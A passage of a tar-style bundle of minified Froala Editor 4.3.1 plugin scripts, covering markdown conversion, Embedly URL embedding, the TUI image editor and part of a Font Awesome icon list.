"'+e.getAttribute("title")+'"'),a+=")"}return a}),w.subParser("makeMarkdown.list",function(e,r,a){var t="";if(!e.hasChildNodes())return"";for(var n=e.childNodes,o=n.length,s=e.getAttribute("start")||1,i=0;i<o;++i)if("undefined"!=typeof n[i].tagName&&"li"===n[i].tagName.toLowerCase()){t+=("ol"===a?s.toString()+". ":"- ")+w.subParser("makeMarkdown.listItem")(n[i],r),++s}return(t+="\n\x3c!-- --\x3e\n").trim()}),w.subParser("makeMarkdown.listItem",function(e,r){for(var a="",t=e.childNodes,n=t.length,o=0;o<n;++o)a+=w.subParser("makeMarkdown.node")(t[o],r);return/\n$/.test(a)?a=a.split("\n").join("\n ").replace(/^ {4}$/gm,"").replace(/\n\n+/g,"\n\n"):a+="\n",a}),w.subParser("makeMarkdown.node",function(e,r,a){a=a||!1;var t="";if(3===e.nodeType)return w.subParser("makeMarkdown.txt")(e,r);if(8===e.nodeType)return"\x3c!--"+e.data+"--\x3e\n\n";if(1!==e.nodeType)return"";switch(e.tagName.toLowerCase()){case"h1":a||(t=w.subParser("makeMarkdown.header")(e,r,1)+"\n\n");break;case"h2":a||(t=w.subParser("makeMarkdown.header")(e,r,2)+"\n\n");break;case"h3":a||(t=w.subParser("makeMarkdown.header")(e,r,3)+"\n\n");break;case"h4":a||(t=w.subParser("makeMarkdown.header")(e,r,4)+"\n\n");break;case"h5":a||(t=w.subParser("makeMarkdown.header")(e,r,5)+"\n\n");break;case"h6":a||(t=w.subParser("makeMarkdown.header")(e,r,6)+"\n\n");break;case"p":a||(t=w.subParser("makeMarkdown.paragraph")(e,r)+"\n\n");break;case"blockquote":a||(t=w.subParser("makeMarkdown.blockquote")(e,r)+"\n\n");break;case"hr":a||(t=w.subParser("makeMarkdown.hr")(e,r)+"\n\n");break;case"ol":a||(t=w.subParser("makeMarkdown.list")(e,r,"ol")+"\n\n");break;case"ul":a||(t=w.subParser("makeMarkdown.list")(e,r,"ul")+"\n\n");break;case"precode":a||(t=w.subParser("makeMarkdown.codeBlock")(e,r)+"\n\n");break;case"pre":a||(t=w.subParser("makeMarkdown.pre")(e,r)+"\n\n");break;case"table":a||(t=w.subParser("makeMarkdown.table")(e,r)+"\n\n");break;case"code":t=w.subParser("makeMarkdown.codeSpan")(e,r);break;case"em":case"i":t=w.subParser("makeMarkdown.emphasis")(e,r);break;case"strong":case"b":t=w.subParser("makeMarkdown.strong")(e,r);break;case"del":t=w.subParser("makeMarkdown.strikethrough")(e,r);break;case"a":t=w.subParser("makeMarkdown.links")(e,r);break;case"img":t=w.subParser("makeMarkdown.image")(e,r);break;default:t=e.outerHTML+"\n\n"}return t}),w.subParser("makeMarkdown.paragraph",function(e,r){var a="";if(e.hasChildNodes())for(var t=e.childNodes,n=t.length,o=0;o<n;++o)a+=w.subParser("makeMarkdown.node")(t[o],r);return a=a.trim()}),w.subParser("makeMarkdown.pre",function(e,r){var a=e.getAttribute("prenum");return"<pre>"+r.preList[a]+"</pre>"}),w.subParser("makeMarkdown.strikethrough",function(e,r){var a="";if(e.hasChildNodes()){a+="~~";for(var t=e.childNodes,n=t.length,o=0;o<n;++o)a+=w.subParser("makeMarkdown.node")(t[o],r);a+="~~"}return a}),w.subParser("makeMarkdown.strong",function(e,r){var a="";if(e.hasChildNodes()){a+="**";for(var t=e.childNodes,n=t.length,o=0;o<n;++o)a+=w.subParser("makeMarkdown.node")(t[o],r);a+="**"}return a}),w.subParser("makeMarkdown.table",function(e,r){var a,t,n="",o=[[],[]],s=e.querySelectorAll("thead>tr>th"),i=e.querySelectorAll("tbody>tr");for(a=0;a<s.length;++a){var l=w.subParser("makeMarkdown.tableCell")(s[a],r),c="---";if(s[a].hasAttribute("style"))switch(s[a].getAttribute("style").toLowerCase().replace(/\s/g,"")){case"text-align:left;":c=":---";break;case"text-align:right;":c="---:";break;case"text-align:center;":c=":---:"}o[0][a]=l.trim(),o[1][a]=c}for(a=0;a<i.length;++a){var u=o.push([])-1,d=i[a].getElementsByTagName("td");for(t=0;t<s.length;++t){var p=" ";"undefined"!=typeof d[t]&&(p=w.subParser("makeMarkdown.tableCell")(d[t],r)),o[u].push(p)}}var h=3;for(a=0;a<o.length;++a)for(t=0;t<o[a].length;++t){var _=o[a][t].length;h<_&&(h=_)}for(a=0;a<o.length;++a){for(t=0;t<o[a].length;++t)1===a?":"===o[a][t].slice(-1)?o[a][t]=w.helper.padEnd(o[a][t].slice(-1),h-1,"-")+":":o[a][t]=w.helper.padEnd(o[a][t],h,"-"):o[a][t]=w.helper.padEnd(o[a][t],h);n+="| "+o[a].join(" | ")+" |\n"}return n.trim()}),w.subParser("makeMarkdown.tableCell",function(e,r){var a="";if(!e.hasChildNodes())return"";for(var t=e.childNodes,n=t.length,o=0;o<n;++o)a+=w.subParser("makeMarkdown.node")(t[o],r,!0);return a.trim()}),w.subParser("makeMarkdown.txt",function(e){var r=e.nodeValue;return r=(r=r.replace(/ +/g," ")).replace(/\xa8NBSP;/g," "),r=(r=(r=(r=(r=(r=(r=(r=(r=w.helper.unescapeHTMLEntities(r)).replace(/([*_~|`])/g,"\\$1")).replace(/^(\s*)>/g,"\\$1>")).replace(/^#/gm,"\\#")).replace(/^(\s*)([-=]{3,})(\s*)$/,"$1\\$2$3")).replace(/^( {0,3}\d+)\./gm,"$1\\.")).replace(/^( {0,3})([+-])/gm,"$1\\$2")).replace(/]([\s]*)\(/g,"\\]$1\\(")).replace(/^ {0,3}\[([\S \t]*?)]:/gm,"\\[$1]:")}),w}); third_party/embedly.min.js 0000674 00000021613 00000000000 0011605 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(E){"use strict";E=E&&E.hasOwnProperty("default")?E["default"]:E,Object.assign(E.POPUP_TEMPLATES,{"embedly.insert":"[_BUTTONS_][_URL_LAYER_]","embedly.edit":"[_BUTTONS_]"}),Object.assign(E.DEFAULTS,{embedlyKey:null,embedlyInsertButtons:["embedlyBack","|"],embedlyEditButtons:["embedlyRemove"],embedlyScriptPath:"https://cdn.embedly.com/widgets/platform.js"}),E.PLUGINS.embedly=function(a){var d,i,o=a.$;function t(e){a.events.on("html.processGet",s),e&&a.html._setHtml(a.$el,a.html.get()),a.events.$on(a.$el,"click touchend","div.fr-embedly",l),a.events.on("mousedown window.mousedown",m),a.events.on("window.touchmove",u),a.events.on("mouseup window.mouseup",b),a.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&b()}),a.events.on("blur video.hideResizer commands.undo commands.redo element.dropped",function(){b(!0)}),a.events.on("element.beforeDrop",function(e){if(e.hasClass("fr-embedly"))return e.html(e.attr("data-original-embed")),e}),a.events.on("keydown",function(e){var t=e.which;return!d||t!=E.KEYCODE.BACKSPACE&&t!=E.KEYCODE.DELETE?d&&t==E.KEYCODE.ESC?(b(!0),e.preventDefault(),!1):d&&t!=E.KEYCODE.F10&&!a.keys.isBrowserAction(e)?(e.preventDefault(),!1):void 0:(e.preventDefault(),c(),!1)},!0),a.events.on("toolbar.esc",function(){if(d)return a.events.disableBlur(),a.events.focus(),!1},!0),a.events.on("toolbar.focusEditor",function(){if(d)return!1},!0),a.events.on("snapshot.after",function(e){var t=a.doc.createElement("div");t.innerHTML=e.html,s(t),e.html=t.innerHTML}),a.win.embedly&&(a.win.embedly("on","card.rendered",function(e){n(e)}),a.win.embedly("on","card.resize",function(e){n(e)})),f(!0)}function n(e){var t=o(e);t.parents(".fr-embedly").attr("contenteditable",!1).attr("draggable",!0).addClass("fr-draggable").css("height",t.height()).addClass("fr-draggable"),a.opts.iframe&&a.size.syncIframe()}function l(e){d=o(this),function s(){i||function n(){a.shared.$embedly_resizer?(i=a.shared.$embedly_resizer,a.shared.$embedly_overlay,a.events.on("destroy",function(){o("body").first().append(i)},!0)):(a.shared.$embedly_resizer=o(document.createElement("div")).attr("class","fr-embedly-resizer"),i=a.shared.$embedly_resizer,a.events.$on(i,"mousedown",function(e){e.stopPropagation()},!0));a.events.on("shared.destroy",function(){i.html("").removeData().remove(),i=null},!0)}();(a.$wp||a.$sc).append(i),i.data("instance",a);var e=0,t=0;a.opts.iframe&&(t=a.helpers.getPX(a.$wp.find(".fr-iframe").css("padding-top")),e=a.helpers.getPX(a.$wp.find(".fr-iframe").css("padding-left")));i.css("top",(a.opts.iframe?d.offset().top+t-1+a.$iframe.position().top:d.offset().top-a.$wp.offset().top-1)+a.$wp.scrollTop()).css("left",(a.opts.iframe?d.offset().left+e-1:d.offset().left-a.$wp.offset().left-1)+a.$wp.scrollLeft()).css("width",d.outerWidth()).css("height",d.height()).addClass("fr-active")}(),function r(){var e=a.popups.get("embedly.edit");e||(e=function s(){var e="";if(0<a.opts.embedlyEditButtons.length){var t={buttons:e+='<div class="fr-buttons">\n '.concat(a.button.buildList(a.opts.embedlyEditButtons),"\n </div>")},n=a.popups.create("embedly.edit",t);return a.events.$on(a.$wp,"scroll.emebdly-edit",function(){d&&a.popups.isVisible("embedly.edit")&&(a.events.disableBlur(),function t(e){l.call(e.get(0))}(d))}),n}return!1}());if(e){a.popups.setContainer("embedly.edit",a.$sc),a.popups.refresh("embedly.edit");var t=d.offset().left+d.outerWidth()/2,n=d.offset().top+d.outerHeight();a.popups.show("embedly.edit",t,n,d.outerHeight())}}()}function s(e){if(e&&a.node.hasClass(e,"fr-embedly"))e.innerHTML=e.getAttribute("data-original-embed"),e.removeAttribute("draggable"),e.removeAttribute("contenteditable"),e.setAttribute("class",(e.getAttribute("class")||"").replace("fr-draggable",""));else if(e&&e.nodeType==Node.ELEMENT_NODE)for(var t=e.querySelectorAll(".fr-embedly"),n=0;n<t.length;n++)s(t[n])}function f(e){if(e)return a.popups.onRefresh("embedly.insert",r),!0;var t="";0<a.opts.embedlyInsertButtons.length&&(t+='<div class="fr-buttons fr-tabs">',t+=a.button.buildList(a.opts.embedlyInsertButtons),t+="</div>");var n={buttons:t,url_layer:'<div class="fr-embedly-layer fr-active fr-layer" id="fr-embedly-layer-'+a.id+'"><div class="fr-input-line"><input id="fr-embedly-layer-text-'+a.id+'" type="text" placeholder="'+a.language.translate("Paste in a URL to embed")+'" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="embedlyInsert" tabIndex="2" role="button">'+a.language.translate("Insert")+"</button></div></div>"};return a.popups.create("embedly.insert",n)}function r(){a.popups.get("embedly.insert").find(".fr-embedly-layer input").val("").trigger("change")}function e(e){if(e.length){var t="<a href='"+e+"' data-card-branding='0' class='embedly-card'"+(a.opts.embedlyKey?" data-card-key='"+a.opts.embedlyKey+"'":"")+"></a>";if(a.opts.trackChangesEnabled){a.edit.on(),a.events.focus(!0),a.selection.restore(),a.undo.saveStep(),a.markers.insert(),a.html.wrap();var n=a.$el.find(".fr-marker");a.node.isLastSibling(n)&&n.parent().hasClass("fr-deletable")&&n.insertAfter(n.parent()),n.replaceWith('<div class="fr-embedly fr-draggable" draggable="true" contenteditable="false" data-original-embed="'+t+'">'+t+"</div>"),a.selection.clear()}else a.html.insert('<div class="fr-embedly fr-draggable" draggable="true" contenteditable="false" data-original-embed="'+t+'">'+t+"</div>");a.popups.hideAll()}}function c(){if(d&&!1!==a.events.trigger("embedly.beforeRemove",[d])){var e=d;if(a.popups.hideAll(),b(!0),a.opts.trackChangesEnabled){var t=e.find(".embedly-card"),n="pending-".concat(a.id,"-").concat(a.track_changes.getPendingChanges().length),s=a.opts.showChangesEnabled?"fr-highlight-change":"";return e.data("track-id",n),e.addClass(s),e.data("tracking","true"),e.data("tracking-deleted","true"),e.attr("contenteditable","false"),t.addClass("fr-tracking-deleted"),t.css("height","100%"),void a.track_changes.pushChange(n)}a.selection.setBefore(e.get(0))||a.selection.setAfter(e.get(0)),e.remove(),a.selection.restore(),a.html.fillEmptyBlocks(),a.undo.saveStep(),a.events.trigger("video.removed",[e])}}function b(e){d&&(function t(){return a.shared.embedly_exit_flag}()||!0===e)&&(i.removeClass("fr-active"),a.toolbar.enable(),d.removeClass("fr-active"),d=null,u())}function m(){a.shared.embedly_exit_flag=!0}function u(){a.shared.embedly_exit_flag=!1}return a.shared.embedly_exit_flag=!1,{_init:function p(){if(!a.$wp)return!1;if("undefined"!=typeof embedly)t(!0);else if(a.shared.embedlyLoaded)a.shared.embedlyCallbacks.push(t);else{a.shared.embedlyLoaded=!0,a.shared.embedlyCallbacks=[],a.shared.embedlyCallbacks.push(t);var e=a.doc.createElement("script");e.type="text/javascript",e.src=a.opts.embedlyScriptPath,e.innerText="",e.onload=function(){if(a.shared.embedlyCallbacks)for(var e=0;e<a.shared.embedlyCallbacks.length;e++)a.shared.embedlyCallbacks[e]()},a.doc.getElementsByTagName("head")[0].appendChild(e)}},showInsertPopup:function h(){var e=a.$tb.find('.fr-command[data-cmd="embedly"]'),t=a.popups.get("embedly.insert");if(t||(t=f()),!t.hasClass("fr-active"))if(a.popups.refresh("embedly.insert"),a.popups.setContainer("embedly.insert",a.$tb),e.isVisible()){var n=a.button.getPosition(e),s=n.left,r=n.top;a.popups.show("embedly.insert",s,r,e.outerHeight())}else a.position.forSelection(t),a.popups.show("embedly.insert")},insert:function y(){e(a.popups.get("embedly.insert").find(".fr-embedly-layer input").val())},remove:c,get:function g(){return d},add:e,back:function v(){d?(a.events.disableBlur(),d.trigger("click")):(a.events.disableBlur(),a.selection.restore(),a.events.enableBlur(),a.popups.hide("embedly.insert"),a.toolbar.showInline())}}},E.DefineIcon("embedly",{NAME:"share-alt",SVG_KEY:"insertEmbed"}),E.RegisterCommand("embedly",{undo:!0,focus:!0,title:"Embed URL",popup:!0,callback:function(){this.popups.isVisible("embedly.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("embedly.insert")):this.embedly.showInsertPopup()},plugin:"embedly"}),E.RegisterCommand("embedlyInsert",{undo:!0,focus:!0,callback:function(){this.embedly.insert()}}),E.DefineIcon("embedlyRemove",{NAME:"trash",SVG_KEY:"remove"}),E.RegisterCommand("embedlyRemove",{title:"Remove",undo:!1,callback:function(){this.embedly.remove()}}),E.DefineIcon("embedlyBack",{NAME:"arrow-left",SVG_KEY:"back"}),E.RegisterCommand("embedlyBack",{title:"Back",undo:!1,focus:!1,back:!0,callback:function(){this.embedly.back()},refresh:function(e){this.embedly.get()||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))}})}); third_party/image_tui.min.js 0000674 00000006703 00000000000 0012132 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(e){"use strict";function v(e){return(v="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}if(e=e&&e.hasOwnProperty("default")?e["default"]:e,Object.assign(e.DEFAULTS,{imageTUIOptions:{includeUI:{theme:{"menu.normalIcon.path":"https://cdn.jsdelivr.net/npm/tui-image-editor@3.2.2/dist/svg/icon-d.svg","menu.activeIcon.path":"https://cdn.jsdelivr.net/npm/tui-image-editor@3.2.2/dist/svg/icon-b.svg","menu.disabledIcon.path":"https://cdn.jsdelivr.net/npm/tui-image-editor@3.2.2/dist/svg/icon-a.svg","menu.hoverIcon.path":"https://cdn.jsdelivr.net/npm/tui-image-editor@3.2.2/dist/svg/icon-c.svg","submenu.normalIcon.path":"https://cdn.jsdelivr.net/npm/tui-image-editor@3.2.2/dist/svg/icon-d.svg","submenu.normalIcon.name":"icon-d","submenu.activeIcon.path":"https://cdn.jsdelivr.net/npm/tui-image-editor@3.2.2/dist/svg/icon-c.svg","submenu.activeIcon.name":"icon-c"},initMenu:"filter",menuBarPosition:"left"}},tui:window.tui}),e.PLUGINS.imageTUI=function(c){var l=c.$,m=!0;function g(e,t){l("#tuieditor").remove(),e.style.display="none",m||t===undefined||t.filesManager.setChildWindowState(!1)}function p(e,t,i,n,o){for(var a=e.toDataURL(),d=atob(a.split(",")[1]),r=[],s=0;s<d.length;s++)r.push(d.charCodeAt(s));var u=new Blob([new Uint8Array(r)],{type:"image/png"});n?(t.image.edit(i),t.image.upload([u])):(t.filesManager.saveImage([u]),null!=o?(t.filesManager.upload(u,[u],null,o),t.filesManager.getFileThumbnail(o,u,!0)):t.filesManager.upload(u,[u],null,i))}return{_init:function i(){var e=c.o_doc.body,t=c.o_doc.createElement("div");t.setAttribute("id","tuiContainer"),t.style.cssText="position: fixed; top: 0;left: 0;margin: 0;padding: 0;width: 100%;height: 100%;background: rgba(0,0,0,.5);z-index: 9998;display:none",e.appendChild(t)},launch:function f(t,i,n){var o,e;if(m=i,"object"===v(c.opts.tui)){var a=c.o_doc.createElement("div");a.setAttribute("id","tuieditor");var d=c.o_doc.getElementById("tuiContainer");d.appendChild(a),d.style.display="block",e=i?(o=t.image.get())[0].src:(o=t.filesManager.get()).src;var r=c.opts.imageTUIOptions;r.includeUI.loadImage={path:e,name:" "};var s=new c.opts.tui.ImageEditor(c.o_doc.querySelector("#tuieditor"),r),u=c.o_doc.getElementById("tuieditor");u.style.minHeight="590px",u.style.width="94%",u.style.height="94%",u.style.margin="auto",l(".tui-image-editor-header-buttons").html('<button class="tui-editor-cancel-btn" data-cmd="cancel_tui_image">Cancel</button> <button class="tui-editor-save-btn">Save</button>'),l(".tui-editor-cancel-btn")[0].addEventListener("click",function(e){g(d,t)}),l(".tui-editor-save-btn")[0].addEventListener("click",function(e){null!=n?p(s,t,o,i,n):p(s,t,o,i),g(d,t)})}}}},e.DefineIcon("imageTUI",{NAME:"sliders",FA5NAME:"sliders-h",SVG_KEY:"advancedImageEditor"}),e.RegisterCommand("imageTUI",{title:"Advanced Edit",undo:!1,focus:!1,callback:function(e,t){this.imageTUI.launch(this,!0)},plugin:"imageTUI"}),!e.PLUGINS.image)throw new Error("TUI image editor plugin requires image plugin.");e.DEFAULTS.imageEditButtons.push("imageTUI")}); third_party/font_awesome.min.js 0000674 00000066230 00000000000 0012656 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,a){"object"==typeof exports&&"undefined"!=typeof module?a(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],a):a(e.FroalaEditor)}(this,function(g){"use strict";g=g&&g.hasOwnProperty("default")?g["default"]:g,Object.assign(g.DEFAULTS,{fontAwesomeTemplate:'<i class="fa fa-[NAME] fr-deletable" aria-hidden="true"> </i>',fontAwesomeTemplate5:'<i class="fa [FPREFIX] fa-[NAME] fr-deletable" aria-hidden="true"> </i>',fontAwesomeSets:[{title:"Web Application Icons",icon:"address-book",list:["address-book","address-book-o","address-card","address-card-o","adjust","american-sign-language-interpreting","anchor","archive","area-chart","arrows","arrows-h","arrows-v","asl-interpreting ","assistive-listening-systems","asterisk","at","audio-description","automobile ","balance-scale","ban","bank ","bar-chart","bar-chart-o ","barcode","bars","bath","bathtub ","battery ","battery-0 ","battery-1 ","battery-2 ","battery-3 ","battery-4 ","battery-empty","battery-full","battery-half","battery-quarter","battery-three-quarters","bed","beer","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","blind","bluetooth","bluetooth-b","bolt","bomb","book","bookmark","bookmark-o","braille","briefcase","bug","building","building-o","bullhorn","bullseye","bus","cab ","calculator","calendar","calendar-check-o","calendar-minus-o","calendar-o","calendar-plus-o","calendar-times-o","camera","camera-retro","car","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","cart-arrow-down","cart-plus","cc","certificate","check","check-circle","check-circle-o","check-square","check-square-o","child","circle","circle-o","circle-o-notch","circle-thin","clock-o","clone","close ","cloud","cloud-download","cloud-upload","code","code-fork","coffee","cog","cogs","comment","comment-o","commenting","commenting-o","comments","comments-o","compass","copyright","creative-commons","credit-card","credit-card-alt","crop","crosshairs","cube","cubes","cutlery","dashboard ","database","deaf","deafness ","desktop","diamond","dot-circle-o","download","drivers-license ","drivers-license-o ","edit ","ellipsis-h","ellipsis-v","envelope","envelope-o","envelope-open","envelope-open-o","envelope-square","eraser","exchange","exclamation","exclamation-circle","exclamation-triangle","external-link","external-link-square","eye","eye-slash","eyedropper","fax","feed ","female","fighter-jet","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o ","file-pdf-o","file-photo-o ","file-picture-o ","file-powerpoint-o","file-sound-o ","file-video-o","file-word-o","file-zip-o ","film","filter","fire","fire-extinguisher","flag","flag-checkered","flag-o","flash ","flask","folder","folder-o","folder-open","folder-open-o","frown-o","futbol-o","gamepad","gavel","gear ","gears ","gift","glass","globe","graduation-cap","group ","hand-grab-o ","hand-lizard-o","hand-paper-o","hand-peace-o","hand-pointer-o","hand-rock-o","hand-scissors-o","hand-spock-o","hand-stop-o ","handshake-o","hard-of-hearing ","hashtag","hdd-o","headphones","heart","heart-o","heartbeat","history","home","hotel ","hourglass","hourglass-1 ","hourglass-2 ","hourglass-3 ","hourglass-end","hourglass-half","hourglass-o","hourglass-start","i-cursor","id-badge","id-card","id-card-o","image ","inbox","industry","info","info-circle","institution ","key","keyboard-o","language","laptop","leaf","legal ","lemon-o","level-down","level-up","life-bouy ","life-buoy ","life-ring","life-saver ","lightbulb-o","line-chart","location-arrow","lock","low-vision","magic","magnet","mail-forward ","mail-reply ","mail-reply-all ","male","map","map-marker","map-o","map-pin","map-signs","meh-o","microchip","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mobile","mobile-phone ","money","moon-o","mortar-board ","motorcycle","mouse-pointer","music","navicon ","newspaper-o","object-group","object-ungroup","paint-brush","paper-plane","paper-plane-o","paw","pencil","pencil-square","pencil-square-o","percent","phone","phone-square","photo ","picture-o","pie-chart","plane","plug","plus","plus-circle","plus-square","plus-square-o","podcast","power-off","print","puzzle-piece","qrcode","question","question-circle","question-circle-o","quote-left","quote-right","random","recycle","refresh","registered","remove ","reorder ","reply","reply-all","retweet","road","rocket","rss","rss-square","s15 ","search","search-minus","search-plus","send ","send-o ","server","share","share-alt","share-alt-square","share-square","share-square-o","shield","ship","shopping-bag","shopping-basket","shopping-cart","shower","sign-in","sign-language","sign-out","signal","signing ","sitemap","sliders","smile-o","snowflake-o","soccer-ball-o ","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down ","sort-numeric-asc","sort-numeric-desc","sort-up ","space-shuttle","spinner","spoon","square","square-o","star","star-half","star-half-empty ","star-half-full ","star-half-o","star-o","sticky-note","sticky-note-o","street-view","suitcase","sun-o","support ","tablet","tachometer","tag","tags","tasks","taxi","television","terminal","thermometer ","thermometer-0 ","thermometer-1 ","thermometer-2 ","thermometer-3 ","thermometer-4 ","thermometer-empty","thermometer-full","thermometer-half","thermometer-quarter","thermometer-three-quarters","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","times-rectangle ","times-rectangle-o ","tint","toggle-down ","toggle-left ","toggle-off","toggle-on","toggle-right ","toggle-up ","trademark","trash","trash-o","tree","trophy","truck","tty","tv ","umbrella","universal-access","university","unlock","unlock-alt","unsorted ","upload","user","user-circle","user-circle-o","user-o","user-plus","user-secret","user-times","users","vcard ","vcard-o ","video-camera","volume-control-phone","volume-down","volume-off","volume-up","warning ","wheelchair","wheelchair-alt","wifi","window-close","window-close-o","window-maximize","window-minimize","window-restore","wrench"]},{title:"Accessibility Icons",icon:"american-sign-language-interpreting",list:["american-sign-language-interpreting","asl-interpreting ","assistive-listening-systems","audio-description","blind","braille","cc","deaf","deafness ","hard-of-hearing ","low-vision","question-circle-o","sign-language","signing ","tty","universal-access","volume-control-phone","wheelchair","wheelchair-alt"]},{title:"Hand Icons",icon:"hand-grab-o",list:["hand-grab-o ","hand-lizard-o","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hand-paper-o","hand-peace-o","hand-pointer-o","hand-rock-o","hand-scissors-o","hand-spock-o","hand-stop-o ","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up"]},{title:"Transportation Icons",icon:"ambulance",list:["ambulance","automobile ","bicycle","bus","cab ","car","fighter-jet","motorcycle","plane","rocket","ship","space-shuttle","subway","taxi","train","truck","wheelchair","wheelchair-alt"]},{title:"Gender Icons",icon:"genderless",list:["genderless","intersex ","mars","mars-double","mars-stroke","mars-stroke-h","mars-stroke-v","mercury","neuter","transgender","transgender-alt","venus","venus-double","venus-mars"]},{title:"Form Control Icons",icon:"check-square",list:["check-square","check-square-o","circle","circle-o","dot-circle-o","minus-square","minus-square-o","plus-square","plus-square-o","square","square-o"]},{title:"Payment Icons",icon:"cc-amex",list:["cc-amex","cc-diners-club","cc-discover","cc-jcb","cc-mastercard","cc-paypal","cc-stripe","cc-visa","credit-card","credit-card-alt","google-wallet","paypal"]},{title:"Chart Icons",icon:"area-chart",list:["area-chart","bar-chart","bar-chart-o ","line-chart","pie-chart"]},{title:"Currency Icons",icon:"bitcoin",list:["bitcoin ","btc","cny ","dollar ","eur","euro ","gbp","gg","gg-circle","ils","inr","jpy","krw","money","rmb ","rouble ","rub","ruble ","rupee ","shekel ","sheqel ","try","turkish-lira ","usd","viacoin","won ","yen"]},{title:"Text Editor Icons",icon:"align-center",list:["align-center","align-justify","align-left","align-right","bold","chain ","chain-broken","clipboard","columns","copy ","cut ","dedent ","eraser","file","file-o","file-text","file-text-o","files-o","floppy-o","font","header","indent","italic","link","list","list-alt","list-ol","list-ul","outdent","paperclip","paragraph","paste ","repeat","rotate-left ","rotate-right ","save ","scissors","strikethrough","subscript","superscript","table","text-height","text-width","th","th-large","th-list","underline","undo","unlink"]},{title:"Brand Icons",icon:"500px",list:["500px","adn","amazon","android","angellist","apple","bandcamp","behance","behance-square","bitbucket","bitbucket-square","bitcoin ","black-tie","bluetooth","bluetooth-b","btc","buysellads","cc-amex","cc-diners-club","cc-discover","cc-jcb","cc-mastercard","cc-paypal","cc-stripe","cc-visa","chrome","codepen","codiepie","connectdevelop","contao","css3","dashcube","delicious","deviantart","digg","dribbble","dropbox","drupal","edge","eercast","empire","envira","etsy","expeditedssl","fa ","facebook","facebook-f ","facebook-official","facebook-square","firefox","first-order","flickr","font-awesome","fonticons","fort-awesome","forumbee","foursquare","free-code-camp","ge ","get-pocket","gg","gg-circle","git","git-square","github","github-alt","github-square","gitlab","gittip ","glide","glide-g","google","google-plus","google-plus-circle ","google-plus-official","google-plus-square","google-wallet","gratipay","grav","hacker-news","houzz","html5","imdb","instagram","internet-explorer","ioxhost","joomla","jsfiddle","lastfm","lastfm-square","leanpub","linkedin","linkedin-square","linode","linux","maxcdn","meanpath","medium","meetup","mixcloud","modx","odnoklassniki","odnoklassniki-square","opencart","openid","opera","optin-monster","pagelines","paypal","pied-piper","pied-piper-alt","pied-piper-pp","pinterest","pinterest-p","pinterest-square","product-hunt","qq","quora","ra ","ravelry","rebel","reddit","reddit-alien","reddit-square","renren","resistance ","safari","scribd","sellsy","share-alt","share-alt-square","shirtsinbulk","simplybuilt","skyatlas","skype","slack","slideshare","snapchat","snapchat-ghost","snapchat-square","soundcloud","spotify","stack-exchange","stack-overflow","steam","steam-square","stumbleupon","stumbleupon-circle","superpowers","telegram","tencent-weibo","themeisle","trello","tripadvisor","tumblr","tumblr-square","twitch","twitter","twitter-square","usb","viacoin","viadeo","viadeo-square","vimeo","vimeo-square","vine","vk","wechat ","weibo","weixin","whatsapp","wikipedia-w","windows","wordpress","wpbeginner","wpexplorer","wpforms","xing","xing-square","y-combinator","y-combinator-square ","yahoo","yc ","yc-square ","yelp","yoast","youtube","youtube-play","youtube-square"]}],fontAwesome5Sets:[{title:"Web Application Icons",icon:"address-book",list:["address-book","far address-book","fas address-card","far address-card","adjust","fas american-sign-language-interpreting","anchor","archive","fas chart-area","fas arrows-alt","fas arrows-alt-h","fas arrows-alt-v","assistive-listening-systems","asterisk","at","audio-description","fas car","balance-scale","ban","fas university","far chart-bar","barcode","bars","fas bath","fas battery-full","fas battery-empty","fas battery-quarter","fas battery-half","fas battery-three-quarters","bed","beer","bell","far bell","bell-slash","far bell-slash","bicycle","binoculars","birthday-cake","blind","fab bluetooth","fab bluetooth-b","bolt","bomb","book","bookmark","far bookmark","braille","briefcase","bug","building","far building","bullhorn","bullseye","bus","fas taxi","calculator","calendar","far calendar-check","far calendar-minus","far calendar","far calendar-plus","far calendar-times","camera","camera-retro","car","far caret-square-down","far caret-square-left","far caret-square-right","far caret-square-up","cart-arrow-down","cart-plus","far closed-captioning","certificate","check","check-circle","far check-circle","check-square","far check-square","child","circle","far circle","fas circle-notch","far clock","clone","fas times","cloud","fas cloud-download-alt","fas cloud-upload-alt","code","fas code-branch","coffee","fas cog","fas cogs","comment","far comment","comments","far comments","compass","copyright","fab creative-commons","far credit-card","fas credit-card","crop","crosshairs","cube","cubes","fas utensils","fas tachometer-alt","database","fas deaf","desktop","far gem","far dot-circle","download","fas id-card","far id-card","edit ","ellipsis-h","ellipsis-v","envelope","far envelope","envelope-open","far envelope-open","envelope-square","eraser","fas exchange-alt","exclamation","exclamation-circle","fas 